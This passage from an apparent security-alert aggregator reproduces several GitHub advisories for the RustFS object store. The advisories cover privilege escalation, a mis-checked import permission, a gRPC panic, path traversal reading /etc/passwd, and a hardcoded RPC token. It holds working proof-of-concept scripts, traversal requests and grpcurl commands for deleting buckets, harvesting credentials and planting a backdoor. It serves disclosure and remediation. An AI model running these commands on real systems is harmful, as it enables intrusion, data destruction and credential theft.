echo "[+] create restricted service account" awscurladmin "$ROOTAK" "$ROOTSK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \ -H 'Content-Type: application/json' \ -d "$("$JQBIN" -nc --arg ak "$PARENTAK" --arg sk "$PARENTSK" --arg policy "$RESTRICTEDPOLICY" --arg exp "$EXP" \ '{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \ > /tmp/restrictedsa.json cat /tmp/restrictedsa.json

echo "[+] list buckets as restricted (expect bucket1,bucket2 only)" awscmd "$PARENTAK" "$PARENTSK" s3 ls

echo "[+] create child service account without policy (trigger denyonly)" awscurladmin "$PARENTAK" "$PARENTSK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \ -H 'Content-Type: application/json' \ -d "$("$JQBIN" -nc --arg ak "$CHILDAK" --arg sk "$CHILDSK" --arg exp "$EXP" \ '{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \ > /tmp/childsa.json cat /tmp/childsa.json

echo "[+] child tries to list bucket3 (should be denied; success means vuln)" if awscmd "$CHILDAK" "$CHILDSK" s3 ls s3://bucket3; then echo "child list bucket3: SUCCESS (vuln)" else echo "child list bucket3: DENIED" fi

echo "[+] child tries to read marker from bucket3" if awscmd "$CHILDAK" "$CHILDSK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then echo "child read marker: SUCCESS (vuln). Content:" cat /tmp/poc-marker.txt else echo "child read marker: DENIED" fi

echo "[+] child tries to write new object into bucket3" if printf "child-write\n" | awscmd "$CHILDAK" "$CHILDSK" s3 cp - s3://bucket3/child-write.txt; then echo "child write: SUCCESS (vuln)" else echo "child write: DENIED" fi

PoC steps (in poc.sh):

1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with poc-marker.txt. 2) Create restricted policy (List/Get/Put only on bucket1/2). 3) Create restricted service account restricted/restricted123 with that policy. 4) With restricted, create child service account evilchild/evilchild123 without policy (denyonly short-circuit). 5) With evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.

Result:

text ./poc.sh [+] cleanup service accounts (ignore errors) [+] cleanup buckets [+] create buckets makebucket: bucket1 makebucket: bucket2 makebucket: bucket3 [+] seed bucket3 with marker object [+] create restricted policy [+] create restricted service account {"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}} [+] list buckets as restricted (expect bucket1,bucket2 only) 2025-12-16 18:51:16 bucket1 2025-12-16 18:51:16 bucket2 [+] create child service account without policy (trigger denyonly) {"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}} [+] child tries to list bucket3 (should be denied; success means vuln) 2025-12-16 18:51:17 11 poc-marker.txt child list bucket3: SUCCESS (vuln) [+] child tries to read marker from bucket3 download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt child read marker: SUCCESS (vuln). Content: poc-marker [+] child tries to write new object into bucket3 child write: SUCCESS (vuln)

Impact

Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The ImportIam admin API validates permissions using ExportIAMAction instead of ImportIAMAction, allowing a principal with export-only IAM permissions to perform import operations. Since importing IAM data performs privileged write actions (creating/updating users, groups, policies, and service accounts), this can lead to unauthorized IAM modification and privilege escalation.

---

Details

In ImportIam, the authorization check is implemented as follows:

rust validateadminrequest( &req.headers, &cred, owner, false, vec![Action::AdminAction(AdminAction::ExportIAMAction)], ).await?;

However, this code resides in the Import IAM operation (struct ImportIam {}), which performs state-changing IAM writes.

The expected behavior is to validate against AdminAction::ImportIAMAction (or an equivalent import-specific admin action), not ExportIAMAction.

---

PoC

Prerequisites

1. A RustFS deployment with IAM enabled. 2. An IAM user or role that has Export IAM permission but does not have Import IAM or full admin permissions. 3. Access credentials for that user.

Steps

1. Create or obtain an IAM principal with permission equivalent to:

AdminAction::ExportIAMAction

and without Import IAM privileges.

2. Prepare a valid IAM import ZIP archive containing, for example:

A new policy granting administrative permissions A user or service account bound to that policy

3. Send a request to the Import IAM endpoint (the same endpoint handled by ImportIam::call), authenticating with the export-only credentials.

4. Observe that:

The request passes authorization. IAM entities from the archive are created or modified successfully.

Expected Result

The request should be rejected with an authorization error (e.g., AccessDenied).

Actual Result

The request succeeds, and IAM state is modified.

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A malformed gRPC GetMetrics request causes getmetrics to unwrap() failed deserialization of metrictype/opts, panicking the handler thread and enabling remote denial of service of the metrics endpoint.

Details - Vulnerable code: rustfs/src/storage/tonicservice.rs:1775-1782: - MetricType and CollectMetricsOpts are deserialized with Deserialize::deserialize(...).unwrap() from client-supplied bytes. - Malformed metrictype/opts (e.g., empty or truncated rmp-serde payloads) trigger InvalidMarkerRead and panic. - Reachability: same TCP listener as S3 (default :9000); only a static interceptor token authorization: rustfs rpc is checked in server/http.rs:677. - Impact scope: panic terminates the worker handling the request, causing metrics service interruption and potential process instability.

PoC

rustfs-grpc-metrics-invalid-metric-type-panic-poc.tar.gz

1) Start RustFS (example local dev): bash mkdir -p /tmp/rustfs-data1 /tmp/rustfs-data2 RUSTFSACCESSKEY=devadmin RUSTFSSECRETKEY=devadmin \ cargo run --bin rustfs -- --address 0.0.0.0:9000 \ /tmp/rustfs-data1 /tmp/rustfs-data2 2) From rustfs-grpc-metrics-invalid-metric-type-panic-poc/, run: bash ENDPOINT=127.0.0.1:9000 make run or: grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path ../crates/protos/src -proto node.proto \ -d '{"metrictype":"","opts":""}' \ 127.0.0.1:9000 nodeservice.NodeService/GetMetrics 3) Observe panic in server logs at tonicservice.rs:getmetrics with InvalidMarkerRead and worker crash; client output saved to poc-response.txt/poc-grpcurl.log.

Impact - Vulnerability type: remote unauthenticated (static token) denial of service via panic in gRPC handler. - Who is impacted: any deployment exposing the gRPC endpoint where an attacker can reach port 9000 and supply the known authorization: rustfs rpc header; metrics service is disrupted and may affect overall stability depending on runtime crash handling.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

RustFS Path Traversal Vulnerability

Vulnerability Details

- CVE ID: - Severity: Critical (CVSS estimated 9.9) - Impact: Arbitrary File Read/Write - Component: /rustfs/rpc/readfilestream endpoint - Root Cause: Insufficient path validation in crates/ecstore/src/disk/local.rs:1791

Vulnerable Code

rust // local.rs:1791 - No path sanitization! let filepath = volumedir.join(Path::new(&path)); // DANGEROUS! checkpathlength(filepath.tostringlossy().tostring().asstr())?; // Only checks length let mut f = self.openfile(filepath, ORDONLY, volumedir).await?;

The code uses PathBuf::join() without: - Canonicalization - Path boundary validation - Protection against ../ sequences - Protection against absolute paths

Proof of Concept

Test Environment

- Target: RustFS v0.0.5 (Docker container) - Endpoint: http://localhost:9000/rustfs/rpc/readfilestream - RPC Secret: rustfsadmin (from RUSTFSSECRETKEY) - Disk ID: /data/rustfs0 - Volume: .rustfs.sys

Attack Scenario

Exploit Parameters

disk: /data/rustfs0 volume: .rustfs.sys path: ../../../../etc/passwd # Path traversal payload offset: 0 length: 751 # Must match file size

Required Authentication

RPC requests require HMAC-SHA256 signature:

python Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}") Headers: x-rustfs-signature: Base64(HMAC-SHA256(secret, data)) x-rustfs-timestamp: Unix timestamp

Successful Exploits

1. Read /etc/passwd ✅

Request: GET /rustfs/rpc/readfilestream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751 x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg= x-rustfs-timestamp: 1766482485

Response: HTTP 200 OK

Content Retrieved: root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [... 15 more lines ...] rustfs:x:10001:10001::/home/rustfs:/sbin/nologin

Impact: Full user account enumeration

---

2. Read /etc/hosts ✅

Request: GET /rustfs/rpc/readfilestream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172

Response: HTTP 200 OK

Content Retrieved: 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback [...] 172.20.0.3 d25e05a19bd2

Impact: Network configuration disclosure

---

3. Read /etc/hostname ✅

Request: GET /rustfs/rpc/readfilestream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13

Response: HTTP 200 OK

Content Retrieved: d25e05a19bd2

Impact: System information disclosure

---

Technical Analysis

Data Flow

1. HTTP Request ↓ 2. RPC Signature Verification (verifyrpcsignature) ↓ 3. Find Disk (findlocaldisk) ↓ 4. Read File Stream (disk.readfilestream) ↓ 5. VULNERABLE: volumedir.join(Path::new(&path)) ↓ 6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd → /etc/passwd

Path Traversal Mechanism

rust // Example traversal: volumedir = PathBuf::from("/data/rustfs0/.rustfs.sys") path = "../../../../etc/passwd"

// PathBuf::join() resolves to: filepath = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd" = "/etc/passwd" // Successfully escaped!

Why It Works

1. No Canonicalization: Code doesn't use canonicalize() before validation 2. No Boundary Check: No verification that final path is within volumedir 3. PathBuf::join() Behavior: Automatically resolves ../ sequences 4. Length-Only Validation: checkpathlength() only checks string length

Special Considerations

- File Size Constraint: The length parameter must exactly match file size - Code validates: file.len() >= offset + length - Otherwise returns DiskError::FileCorrupt - Volume Requirement: Volume/bucket must exist (e.g., .rustfs.sys) - Disk Requirement: Disk must be registered in GLOBALLOCALDISKMAP

Impact Assessment

Confidentiality Impact: HIGH

- ✅ Read arbitrary files (demonstrated) - ✅ Read system configuration files (/etc/passwd, /etc/hosts) - ⚠️ Potential to read: - SSH keys (/root/.ssh/idrsa) - Application secrets - RustFS configuration files - Environment variables from /proc

Integrity Impact: HIGH

- ⚠️ Similar vulnerability exists in putfilestream (not tested) - ⚠️ Arbitrary file write likely possible - ⚠️ Could write to: - Cron jobs - authorizedkeys - System binaries (if permissions allow)

Availability Impact: MEDIUM

- ⚠️ walkdir endpoint could enumerate entire filesystem - ⚠️ Potential DoS via recursive directory traversal

Exploitation Requirements

Prerequisites

1. Network Access: Ability to reach RustFS RPC endpoints 2. RPC Secret Knowledge: Knowledge of RUSTFSSECRETKEY - Default: "rustfs-default-secret" - Production: From environment variable or config 3. Disk/Volume Knowledge: Valid disk ID and volume name 4. File Size Knowledge: Exact file sizes for successful reads

Attack Complexity

- Without Secret: Impossible (signature verification) - With Secret: Trivial (automated script) - With Default Secret: Critical risk if not changed

Mitigation Recommendations

Immediate Actions (Priority 0)

1. Path Canonicalization rust async fn readfilestream(&self, volume: &str, path: &str, ...) -> Result<FileReader> { let volumedir = self.getbucketpath(volume)?;

// CRITICAL FIX: let filepath = volumedir.join(Path::new(&path)); let canonical = filepath.canonicalize() .maperr(|| DiskError::FileNotFound)?;

// Validate path is within volumedir if !canonical.startswith(&volumedir) { error!("Path traversal attempt detected: {:?}", path); return Err(DiskError::InvalidArgument); }

// Continue with validated path... }

2. Path Component Validation rust // Reject dangerous path components if path.contains("..") || path.startswith('/') { return Err(DiskError::InvalidArgument); }

3. Use path-clean Crate rust use pathclean::PathClean;

let cleanedpath = PathBuf::from(&path).clean(); if cleanedpath.tostringlossy().contains("..") { return Err(DiskError::InvalidArgument); }

Additional Security Measures

4. Audit Logging: Log all RPC file operations with full paths 5. Rate Limiting: Prevent DoS via repeated RPC calls 6. Secret Rotation: Ensure unique RPC secrets per deployment 7. Network Segmentation: Restrict RPC endpoint access 8. Security Testing: Add path traversal tests to test suite

Long-term Improvements

9. Chroot Jail: Isolate RPC operations in chroot environment 10. Least Privilege: Run RustFS with minimal file system permissions 11. Security Audit: Comprehensive review of all file operations

Proof of Concept Script

The complete PoC is available at: exploitpathtraversal.py

Usage

bash Ensure RustFS is running docker compose ps

Run exploit python3 exploitpathtraversal.py

Output

[+] SUCCESS! Read 751 bytes [+] File content: ================================================================================ root:x:0:0:root:/root:/bin/sh [... full /etc/passwd content ...] ================================================================================

Acknowledgements

RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
Race Condition
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Vulnerability Overview

Description

RustFS implements gRPC authentication using a hardcoded static token "rustfs rpc" that is: 1. Publicly exposed in the source code repository 2. Hardcoded on both client and server sides 3. Non-configurable with no mechanism for token rotation 4. Universally valid across all RustFS deployments

Any attacker with network access to the gRPC port can authenticate using this publicly known token and execute privileged operations including data destruction, policy manipulation, and cluster configuration changes.

CVSS 3.1 Score

Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

- Attack Vector (AV): Network - Exploitable remotely - Attack Complexity (AC): Low - No special conditions required - Privileges Required (PR): None - No authentication needed (bypassed) - User Interaction (UI): None - Fully automated exploitation - Scope (S): Unchanged - Impact contained to vulnerable component - Confidentiality (C): High - Complete data disclosure - Integrity (I): High - Complete data modification capability - Availability (A): High - Complete service disruption capability

---

Vulnerable Code Analysis

Server-Side Authentication (rustfs/src/server/http.rs:679-686)

rust #[allow(clippy::resultlargeerr)] fn checkauth(req: Request<()>) -> std::result::Result<Request<()>, Status> { let token: MetadataValue<> = "rustfs rpc".parse().unwrap(); // ⚠️ HARDCODED!

match req.metadata().get("authorization") { Some(t) if token == t => Ok(req), => Err(Status::unauthenticated("No valid auth token")), } }

Issues: - Static token hardcoded as string literal - No configuration mechanism (environment variable, file, etc.) - Token visible in public GitHub repository - Identical across all installations

Client-Side Authentication (crates/protos/src/lib.rs:153-174)

rust pub async fn nodeservicetimeoutclient( addr: &String, ) -> Result<NodeServiceClient<...>, Box<dyn Error>> { let token: MetadataValue<> = "rustfs rpc".parse()?; // ⚠️ SAME HARDCODED TOKEN!

// ...

Ok(NodeServiceClient::withinterceptor( channel, Box::new(move |mut req: Request<()>| { req.metadatamut().insert("authorization", token.clone()); Ok(req) }), )) }

Issues: - Client uses identical hardcoded token - No secure token distribution mechanism - Token cannot be rotated without code changes

Service Integration (rustfs/src/server/http.rs:520-521)

rust let rpcservice = NodeServiceServer::withinterceptor(makeserver(), checkauth); let service = hybrid(s3service, rpcservice);

The checkauth interceptor is applied to all gRPC services via NodeServiceServer::withinterceptor, protecting all 50+ gRPC methods in node.proto with the same weak authentication.

---

Reproduction Steps

Environment Setup

Test Environment: - RustFS Server: localhost:9000 (HTTP + gRPC hybrid service) - RustFS Console: localhost:9001 - Container: rustfs/rustfs:latest (Docker Compose deployment) - Default credentials: rustfsadmin/rustfsadmin

Tools Required: - grpcurl v1.9.3+ (gRPC command-line client) - RustFS proto files: crates/protos/src/node.proto

Step 1: Verify Authentication is Enforced

Test 1.1: Request without authentication token

bash $ grpcurl -plaintext \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/Ping

Expected Result: ✅ Authentication failure

ERROR: Code: Unauthenticated Message: No valid auth token

Test 1.2: Request with incorrect token

bash $ grpcurl -plaintext \ -H 'authorization: wrong-token-12345' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/Ping

Expected Result: ✅ Authentication failure

ERROR: Code: Unauthenticated Message: No valid auth token

Conclusion: Authentication is properly enforced - unauthorized requests are rejected.

---

Step 2: Extract Hardcoded Token from Source Code

Public Source Code Analysis:

bash $ git clone https://github.com/rustfs/rustfs.git $ cd rustfs $ grep -rn '"rustfs rpc"' --include='.rs'

Result: ✅ Token found in public source code

rustfs/src/server/http.rs:680: let token: MetadataValue<> = "rustfs rpc".parse().unwrap(); crates/protos/src/lib.rs:153: let token: MetadataValue<> = "rustfs rpc".parse()?;

Extracted Token: rustfs rpc

---

Step 3: Exploit - Authenticate Using Hardcoded Token

Test 3.1: Successful authentication with hardcoded token

bash $ grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/Ping

Result: 🔓 AUTHENTICATION BYPASSED

json { "version": "1", "body": "DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA==" }

Analysis: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed.

---

Step 4: Demonstrate Access to Sensitive Management APIs

Test 4.1: Server Configuration Disclosure

bash $ grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/ServerInfo

Result: ✅ Complete server configuration disclosed

json { "success": true, "serverProperties": "n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA=" }

Analysis: - Server returned complete configuration including storage paths, endpoint addresses, version info - Binary data contains sensitive internal state (MessagePack encoded) - Information disclosure confirmed

Test 4.2: Disk Information Access

bash $ grpcurl -plaintext \ -H 'authorization: rustfs rpc' \ -import-path /private/tmp/rustfs/crates/protos/src \ -proto node.proto \ -d '{}' \ localhost:9000 nodeservice.NodeService/DiskInfo

Result: ✅ Authenticated request accepted (business logic error returned, not auth error)

json { "error": { "code": 36, "errorInfo": "io error can not find disk" } }

Analysis: - Request passed authentication (error is business logic, not authentication) - Proves attacker has authenticated access to sensitive system information APIs

---

Impact Analysis

Affected APIs

All 50+ gRPC methods in nodeservice.NodeService are vulnerable:

🔴 CRITICAL Impact - Data Destruction - DeleteBucket - Delete production buckets - DeleteVolume - Destroy entire storage volumes - DeleteUser - Remove legitimate users - DeletePolicy - Remove access control policies - DeleteServiceAccount - Remove service accounts

🔴 CRITICAL Impact - Configuration Manipulation - ReloadSiteReplicationConfig - Corrupt cluster replication - SignalService - Control service lifecycle - LoadPolicy - Modify access control policies - LoadPolicyMapping - Alter policy assignments

🟠 HIGH Impact - Unauthorized Data Access/Modification - ReadAll / ReadAt - Read arbitrary data - WriteAll / WriteStream - Inject malicious data - RenameFile / RenameData - Manipulate file system - UpdateMetadata / WriteMetadata - Corrupt metadata

🟠 HIGH Impact - Privilege Escalation - LoadUser - Access user credentials - LoadServiceAccount - Access service credentials - LoadGroup - Access group memberships

🟡 MEDIUM Impact - Information Disclosure - ServerInfo - Server configuration disclosure - DiskInfo - Storage configuration disclosure - GetMetrics - Performance metrics disclosure - GetBucketStats - Bucket statistics disclosure - LocalStorageInfo - Storage system information - ListBucket - Bucket enumeration

🟡 MEDIUM Impact - Cluster Operations - MakeBucket - Unauthorized bucket creation - HealBucket - Trigger repair operations - BackgroundHealStatus - Monitor internal operations

Attack Scenarios

Scenario 1: Data Destruction

bash Enumerate all buckets grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"options": "{}"}' \ localhost:9000 nodeservice.NodeService/ListBucket

Delete critical production bucket grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"bucket": "production-data"}' \ localhost:9000 nodeservice.NodeService/DeleteBucket

Delete entire storage volume grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"volume": "vol1"}' \ localhost:9000 nodeservice.NodeService/DeleteVolume

Impact: Complete data loss, business disruption

Scenario 2: Credential Harvesting

bash Extract user credentials grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"accesskey": "admin"}' \ localhost:9000 nodeservice.NodeService/LoadUser

Extract service account credentials grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"accesskey": "service-account"}' \ localhost:9000 nodeservice.NodeService/LoadServiceAccount

Exfiltrate IAM policies grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"name": "admin-policy"}' \ localhost:9000 nodeservice.NodeService/LoadPolicy

Impact: Complete IAM compromise, lateral movement

Scenario 3: Backdoor Installation

bash Inject malicious data into system paths grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"volume": "config", "path": "backdoor.sh", "buf": "..."}' \ localhost:9000 nodeservice.NodeService/WriteAll

Modify system configuration grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"bucket": "system", "path": ".rustfs.sys/config.json", "fi": "..."}' \ localhost:9000 nodeservice.NodeService/WriteMetadata

Impact: Persistent compromise, further exploitation

Scenario 4: Cluster Disruption

bash Corrupt replication configuration grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{}' \ localhost:9000 nodeservice.NodeService/ReloadSiteReplicationConfig

Force service restart/shutdown grpcurl -plaintext -H 'authorization: rustfs rpc' \ -d '{"sig": 2}' \ localhost:9000 nodeservice.NodeService/SignalService

Impact: Distributed system failure, data inconsistency

---

Exploitation Preconditions

Required Conditions

✅ All conditions typically met in production deployments:

1. Network Access: Attacker can reach gRPC port (9000/TCP) - RustFS binds to 0.0.0.0 by default (all interfaces) - Commonly exposed for distributed node communication

2. Token Knowledge: Token is publicly known - Available in public GitHub repository - Identical across all RustFS installations - Cannot be changed without code modification

3. No Additional Security Controls: - No mTLS/certificate-based authentication - No IP whitelisting (typically) - No VPN/network segmentation requirements - No rate limiting on authentication attempts

Attack Complexity

Complexity: 🟢 TRIVIAL

- Single grpcurl command with hardcoded token - No exploit development required - No timing or race conditions - No target-specific reconnaissance needed - Fully automatable - Works against any RustFS instance

Time to Exploit: < 1 minute

---

Security Impact

Confidentiality Impact: HIGH

- Complete Data Disclosure: All stored objects readable via ReadAll/ReadAt - Credential Exposure: IAM users, service accounts, policies accessible - Configuration Disclosure: Server, storage, cluster configuration leaked - Metrics Exposure: Performance and usage metrics accessible

Integrity Impact: HIGH

- Data Modification: Arbitrary data injection via WriteAll/WriteStream - Metadata Corruption: File metadata tampering via WriteMetadata - Policy Manipulation: IAM policies modifiable via LoadPolicy - Configuration Changes: Cluster replication config alterable

Availability Impact: HIGH

- Data Destruction: Buckets/volumes deletable via DeleteBucket/DeleteVolume - Service Disruption: Service controllable via SignalService - Cluster Degradation: Replication corruption via ReloadSiteReplicationConfig - Resource Exhaustion: Arbitrary data writes, bucket creation

---

Compliance & Regulatory Impact

Standards Violated

PCI-DSS v4.0 - Requirement 6.5.3: Broken authentication - Requirement 8.2: Strong authentication required - Requirement 8.6: Multi-factor authentication required

OWASP Top 10 2021 - A07:2021 - Identification and Authentication Failures - Use of hard-coded credentials - Missing or ineffective authentication

CWE (Common Weakness Enumeration) - CWE-798: Use of Hard-coded Credentials (Rank: 37/400) - CWE-1391: Use of Weak Credentials - CWE-287: Improper Authentication

NIST Cybersecurity Framework - PR.AC-1: Access control mechanisms violated - PR.AC-7: Authentication mechanisms insufficient

SOC 2 Type II - CC6.1: Logical access controls inadequate - CC6.6: Credential management controls missing

Legal & Business Impact

- Data Breach Notification: GDPR Art. 33, CCPA §1798.150 - Regulatory Fines: GDPR up to €20M or 4% annual revenue - Customer Trust: Severe reputational damage - Service Disruption: SLA violations, customer compensation - Incident Response Costs: Forensics, remediation, legal fees

---

Proof of Concept

Automated POC Script

File: auditanalysis/poccve2025008grpctokenworking.sh

Usage: bash chmod +x poccve2025008grpctokenworking.sh ./poccve2025008grpctokenworking.sh [targethost:port]

Default Target: localhost:9000

POC Features

1. ✅ Baseline Authentication Testing - Verifies unauthenticated requests are rejected - Verifies incorrect tokens are rejected

2. ✅ Exploit Demonstration - Authenticates using hardcoded token - Calls Ping service successfully

3. ✅ Sensitive API Access - Accesses ServerInfo (configuration disclosure) - Accesses DiskInfo (system information) - Demonstrates authenticated access to management APIs

4. ✅ Detailed Reporting - Displays vulnerable code locations - Lists all affected APIs (50+ methods) - Provides CVSS scoring and impact analysis - Includes remediation recommendations

POC Output Summary

[PHASE 1] Baseline Testing ✓ Without token: REJECTED (Unauthenticated) ✓ With wrong token: REJECTED (Unauthenticated)

[PHASE 2] Exploit ✓ With hardcoded token "rustfs rpc": ACCEPTED ✅

[PHASE 3] Sensitive API Access ✓ ServerInfo: SUCCESS - Configuration disclosed ✓ DiskInfo: SUCCESS - System information accessible

[RESULT] VULNERABILITY CONFIRMED

Acknowledgements

We would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203